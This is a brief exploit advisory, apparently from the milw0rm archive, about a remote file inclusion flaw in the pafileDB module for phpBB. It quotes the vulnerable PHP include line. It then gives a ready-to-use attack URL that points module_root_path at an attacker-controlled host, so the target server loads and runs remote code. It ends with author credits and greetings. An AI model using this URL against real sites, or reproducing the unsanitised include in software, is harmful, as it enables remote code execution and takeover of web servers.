22 lines
No EOL
695 B
Text
22 lines
No EOL
695 B
Text
# PafileDB Remote File Inclusion[phpBB]
|
|
#
|
|
# Contact : irc.gigachat.net #ir4dex & darkfire@f4kelive.zzn.com
|
|
# Risk : High
|
|
# Class : Remote
|
|
# Script : pafileDB
|
|
# Version : not specified
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
Vulnerable code :
|
|
|
|
$link_language = 'lang_english';
|
|
include( $module_root_path . 'language/' . $link_language . '/lang_pafiledb.' . $phpEx );
|
|
---------------------------------------------------------------------
|
|
|
|
http://www.site.com/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker]
|
|
|
|
by Darkfire and IR4DEX GROUP
|
|
Greetz: Smurf_RedHat :: V0lks
|
|
|
|
# milw0rm.com [2006-05-09] |